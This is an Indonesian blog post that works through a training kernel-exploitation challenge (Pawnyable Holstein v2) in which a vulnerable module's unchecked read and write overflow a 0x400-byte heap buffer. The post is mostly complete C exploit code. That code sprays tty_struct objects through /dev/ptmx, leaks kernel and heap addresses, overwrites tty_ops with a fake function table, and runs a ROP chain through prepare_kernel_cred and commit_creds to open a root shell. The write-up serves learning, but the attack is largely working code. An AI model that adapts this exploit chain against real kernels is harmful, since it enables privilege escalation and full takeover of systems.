Post

Linux Kernel PWN: Heap Overflow

Linux Kernel PWN: Heap Overflow

Introduction

Pada tulisan kali ini, setelah kita sebelumnya belajar tentang cara memanfaatkan heap leaked, kali ini kita akan mempraktekannya dari tantangan pwn langsung yang disediakan oleh pawnyable anda bisa langsung mengunduhnya holstein v-2 kode sumber tersedia didalamnya.


Analisa kerentanan

Pada fungsi module_open(), variable global g_buf dialokasikan menggunakan kmalloc dengan ukuran 0x400 byte:

1
2
3
4
5
6
7
...
g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }
...

pada fungsi module_read, variable g_buf langsung dikirim ke pengguna menggunakan copy_to_user, namun untuk ukuran tidak ada pemeriksaan terlebih dahulu. yang artinya kita bisa melakukan pembacaan diluar batas:

1
2
3
4
5
6
...
if (copy_to_user(buf, g_buf, count)) {
    printk(KERN_INFO "copy_to_user failed\n");
    return -EINVAL;
  }
...

begitu juga dengan fungsi module_write tidak ada pemeriksaan ukuran yang memungkinkan kita untuk menulis diluar batas:

1
2
3
4
5
6
...
if (copy_from_user(g_buf, buf, count)) {
    printk(KERN_INFO "copy_from_user failed\n");
    return -EINVAL;
  }
...

Ukuran buffer yang dialokasikan pada g_buf adalah 0x400 yang artinya akan ditempatkan di kmalloc-1024, periksa /proc/slabinfo untuk mengetahui lebih lanjut. untuk memanfaatkan hal ini, kita perlu objek kernel lain yang ditempatkan pada wadah kmalloc-1024 juga. kandidat yang cocok adalah objek tty_struct yang anda bisa periksa tty.h, kita bisa menggunakan open(/dev/ptmx/) untuk mengalokasikan tts_struct.


Exploiting

pertama, saya menyemprotkan banyak ptmx setelah membuka perangkat, lalu melakukan pembacaan sembarang dengan kode berikut:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
...
void leak()
{
     int fd_spray[100];
    
    for(int i=0; i < 50;i++){
		fd_spray[i] = open("/dev/ptmx", O_RDONLY|O_NOCTTY);
		if(fd_spray[i]==-1){
			perror("/dev/ptmx");
			exit(EXIT_FAILURE);
		}
	}
	global_fd = open("/dev/holstein",O_RDWR);
	for(int i=50; i < 100;i++){
		fd_spray[i] = open("/dev/ptmx", O_RDONLY|O_NOCTTY);
		if(fd_spray[i]==-1){
			perror("/dev/ptmx");
			exit(EXIT_FAILURE);
		}
	}

    memset(buff,'A', 0x500);
    read(global_fd,buff,0x500);

    for(int i=0; i < 0x500; i++){
        printf("0x%x = 0x%016lx\n" ,i, *(unsigned long*)(buff + i));
    }    

}
...

dan ini hasil yang didapat, periksa pada output yang dihasilkan dari perulangan:

1
2
3
4
5
6
...
0x400 = 0x0000000100005401 
0x418 = 0xffffffff81c38880 -> tty_ops
0x438 = 0xffff888003102438 -> g_buf

...

tepat setelah 0x400 byte, kita berhasil membocorkan alamat dari tty_ops dan variable global dari module yang rentan tersebut yaitu g_buf, offset 0x0000000100005401 ini nantinya kita akan timpa untuk mengontrol RIP dengan cara ROP untuk mencapai root. tapi tidak semudah itu.

mengurangi tty_ops dengan 0xc38880 akan kita mendapatkan basis kernel

1
2
3
4
5
6
7
8
...
g_buf = *(unsigned long*)(buff + 0x438) - 0x38;
tty_ops = *(unsigned long *)(buff + 0x418);
kbase = tty_ops - 0xc38880;
printf("tty_ops: 0x%016lx\n" ,tty_ops);
printf("kernel base: 0x%016lx\n" ,kbase);
printf("g_buf : 0x%016lx\n" ,g_buf);
...

ketika menjalankannya lagi didalam qemu, ini yang didapatkan:

1
2
3
4
5
6
7
...
/ # ./exploit
perangkat terbuka
tty_ops: 0xffffffff81c38880
kernel base: 0xffffffff81000000
g_buf : 0xffff888003436400
...

Untuk selanjutnya, kita akan melakukan penulisan diluar batas sekaligus melakukan ROP untuk menguji eksploit kita, karena tty_operation tidak memiliki penunjuk fungsi secara langsung, jadi kita harus menggunakan penunjuk fungsi palsu agar dapat mengontrol RIP dengan melakukan operasi yang sesuai pada file yang ditulis ulang , tapi kita tidak tahu penunjuk fungsi tersebut belum kita ketahui, kita akan membuat tabel agar kita tahu pada offset keberapa kita bisa menimpa tty_ops dengan offset palsu, ini kodenya :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#include<stdio.h>
#include<stdlib.h>
#include<fcntl.h>
#include<unistd.h>
#include<string.h>
#include<sys/ioctl.h>


#define ERR(msg) ({             \
            perror(msg);        \
            exit(EXIT_FAILURE); \
})

unsigned long user_rsp, user_cs, user_ss, user_rflags;
unsigned long tty_ops, g_buf, kbase;
int global_fd;

unsigned long commit_creds;
unsigned long prepare_kernel_cred;
unsigned long pop_rdi;
unsigned long pop_rcx;
unsigned long swapgs;
unsigned long mov_rdi_rax_rep;
char buff[0x500];

void save_state()
{
    asm(
            ".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_rsp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax;"
       );
    puts("[+] save state");
}

void shell()
{
    char *argv[] = {"/bin/sh",NULL};
    char *envp[] = {NULL};
    puts("ROOOOT");
    execve("/bin/sh",argv,envp);
}
void leak()
{
    int fd_spray[100];
    
    for(int i=0; i < 50;i++){
		fd_spray[i] = open("/dev/ptmx", O_RDONLY|O_NOCTTY);
		if(fd_spray[i]==-1){
			perror("/dev/ptmx");
			exit(EXIT_FAILURE);
		}
	}
	global_fd = open("/dev/holstein",O_RDWR);
	for(int i=50; i < 100;i++){
		fd_spray[i] = open("/dev/ptmx", O_RDONLY|O_NOCTTY);
		if(fd_spray[i]==-1){
			perror("/dev/ptmx");
			exit(EXIT_FAILURE);
		}
	}

    memset(buff,'A', 0x500);
    read(global_fd,buff,0x500);

    /*for(int i=0; i < 0x500; i++){
        printf("0x%x = 0x%016lx\n" ,i, *(unsigned long*)(buff + i));
    }*/
    g_buf = *(unsigned long*)(buff + 0x438) - 0x438;
    tty_ops = *(unsigned long *)(buff + 0x418);
    kbase = tty_ops - 0xc38880;
    pop_rdi = kbase + 0x0d748d;
    pop_rcx = kbase + 0x13c1c4;
    commit_creds = kbase + 0x0744b0;
    prepare_kernel_cred = kbase + 0x074650;
    mov_rdi_rax_rep = kbase + 0x62707b;
    swapgs = kbase + 0x800e26;
    printf("tty_ops: 0x%016lx\n" ,tty_ops);
    printf("kernel base: 0x%016lx\n" ,kbase);
    printf("k_buf : 0x%016lx\n" ,g_buf);

    unsigned long *p = (unsigned long *)&buff;
    printf("ptr: 0x%016lx\n" ,*p);

    for (int i = 0; i < 0x40; i++) {
        *p++ = 0xffffffffdead0000 + (i << 8);
    }
    *(unsigned long*)&buff[0x418] = g_buf;
    write(global_fd, buff, 0x420);

    for (int i = 0; i < 100; i++) {
        ioctl(fd_spray[i], 0xdeadbeef, 0xcafebabe);
    }
}


int main()
{
    save_state();

    leak();



    return EXIT_SUCCESS;
}

saat menjalankan kode diatas, qemu menjadi crash karena register RIP mencoba mengakses address yang salah:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
...
[ Holstein v2 (KL01-2) - Pawnyable ]
/ # ./exploit
[+] save state
tty_ops: 0xffffffff81c38880
kernel base: 0xffffffff81000000
k_buf : 0xffff888003d0e000
ptr: 0xcccccccccccccccc
BUG: unable to handle page fault for address: ffffffffdead0c00
#PF: supervisor instruction fetch in kernel mode
#PF: error_code(0x0010) - not-present page
PGD 1e0d067 P4D 1e0d067 PUD 1e0f067 PMD 0 
Oops: 0010 [#1] SMP PTI
CPU: 0 PID: 162 Comm: exploit Tainted: G           O      5.15.0 #1
Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/014
RIP: 0010:0xffffffffdead0c00
Code: Unable to access opcode bytes at RIP 0xffffffffdead0bd6.
RSP: 0018:ffffc9000013fe10 EFLAGS: 00000286
RAX: ffffffffdead0c00 RBX: ffff888003d0e800 RCX: 00000000deadbeef
RDX: 00000000cafebabe RSI: 00000000deadbeef RDI: ffff888003d0e400
RBP: ffffc9000013fea8 R08: 00000000cafebabe R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: 00000000deadbeef
R13: ffff888003d0e400 R14: 00000000cafebabe R15: ffff888003cdd800
FS:  00000000004ba380(0000) GS:ffff888003200000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffffffdead0bd6 CR3: 0000000003bd4000 CR4: 00000000003006f0
...

crash pada alamat yang salah ffffffffdead0c00, 0xc dalam alamat itu == 12. itu berarti kita bisa membuat penunjuk fungsi palsu untuk tty_ops pada offset ke 12 agar RIP bisa mengeksekusi rantai ROP kita hingga mendapatkan akses root, kita ubah bagian kodenya:

1
2
3
4
5
6
7
8
...
unsigned long *p = (unsigned long *)&buff[0x400];
p[12] = kbase + 0x3a478a; //rop_push_rdx_mov_ebp_415bffd9h_pop_rsp_r13_rbp
*(unsigned long*)(buff + 0x418) = g_buf + 0x400;
printf("heap overwrite: 0x%016lx\n" ,*p);
printf("fake pointer function: 0x%016lx\n" ,p[0xc]);
printf("fake tty_operation: 0x%016lx\n" ,*(unsigned long*)(buff + 0x418));
...

ini adalah kode epxloit terakhirnya:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#include<stdio.h>
#include<stdlib.h>
#include<fcntl.h>
#include<unistd.h>
#include<string.h>
#include<sys/ioctl.h>


#define ERR(msg) ({             \
            perror(msg);        \
            exit(EXIT_FAILURE); \
})

unsigned long user_rsp, user_cs, user_ss, user_rflags;
unsigned long tty_ops, g_buf, kbase;
int global_fd;

unsigned long commit_creds;
unsigned long prepare_kernel_cred;
unsigned long pop_rdi;
unsigned long pop_rcx;
unsigned long swapgs;
unsigned long mov_rdi_rax_rep;
char buff[0x500];

void save_state()
{
    asm(
            ".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_rsp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax;"
       );
    puts("[+] save state");
}

void shell()
{
    char *argv[] = {"/bin/sh",NULL};
    char *envp[] = {NULL};
    puts("ROOOOT");
    execve("/bin/sh",argv,envp);
}

int main()
{
    save_state();

    int fd_spray[100];
    
    for(int i=0; i < 50;i++){
		fd_spray[i] = open("/dev/ptmx", O_RDONLY|O_NOCTTY);
		if(fd_spray[i]==-1){
			perror("/dev/ptmx");
			exit(EXIT_FAILURE);
		}
	}
	global_fd = open("/dev/holstein",O_RDWR);
	for(int i=50; i < 100;i++){
		fd_spray[i] = open("/dev/ptmx", O_RDONLY|O_NOCTTY);
		if(fd_spray[i]==-1){
			perror("/dev/ptmx");
			exit(EXIT_FAILURE);
		}
	}

    memset(buff,'A', 0x500);
    read(global_fd,buff,0x500);

    for(int i=0;i<0x480 / 8;i++){
		//printf("leaked = 0x%016lx\n" ,*(unsigned long*)(buff + i * 8));
		if((*(unsigned long*)(buff + i * 8) & 0xfff) == 0x880){
			tty_ops = *(unsigned long*)(buff + i * 8);
			continue;
		}
		if((*(unsigned long*)(buff + i * 8) & 0xfff) == 0x438){
			g_buf = *(unsigned long*)(buff + i * 8) - 0x438;
			break;
		}
	}
    //tty_ops = *(unsigned long*)(buff + 0x418);
    //g_buf = *(unsigned long*)(buff + 0x438) - 0x438;
    kbase = tty_ops - 0xc38880;
    pop_rdi = kbase + 0x0d748d;
    pop_rcx = kbase + 0x13c1c4;
    commit_creds = kbase + 0x0744b0;
    prepare_kernel_cred = kbase + 0x074650;
    mov_rdi_rax_rep = kbase + 0x62707b;
    swapgs = kbase + 0x800e26;
    printf("tty_ops: 0x%016lx\n" ,tty_ops);
    printf("kernel base: 0x%016lx\n" ,kbase);
    printf("k_buf : 0x%016lx\n" ,g_buf);

    unsigned long *p = (unsigned long *)&buff[0x400];
    p[12] = kbase + 0x3a478a; //rop_push_rdx_mov_ebp_415bffd9h_pop_rsp_r13_rbp
    *(unsigned long*)(buff + 0x418) = g_buf + 0x400;
    printf("heap overwrite: 0x%016lx\n" ,*p);
    printf("fake pointer function: 0x%016lx\n" ,p[12]);
    printf("fake tty_operation: 0x%016lx\n" ,*(unsigned long*)(buff + 0x418));

    unsigned long *rop = (unsigned long*)&buff;
    *rop++ = pop_rdi;
    *rop++ = 0;
    *rop++ = prepare_kernel_cred;
    *rop++ = pop_rcx;
    *rop++ = 0;
    *rop++ = mov_rdi_rax_rep;
    *rop++ = commit_creds;
    *rop++ = swapgs;
    *rop++ = 0xdeadbeef;
    *rop++ = 0xdeadbeef;
    *rop++ = (unsigned long)shell;
    *rop++ = user_cs;
    *rop++ = user_rflags;
    *rop++ = user_rsp;
    *rop++ = user_ss;

    write(global_fd, buff,0x500);

    for(int i = 0; i < 100; i++){
        ioctl(fd_spray[i], 0xdeadbeef, g_buf - 0x10); //pop rsp r13 rbp
    }

    return EXIT_SUCCESS;
}


Referensi

https://pawnyable.cafe/linux-kernel/LK01/heap_overflow.html

https://github.com/smallkirby/kernelpwn/blob/master/technique/tty_struct.md


This post is licensed under CC BY 4.0 by the author.

Trending Tags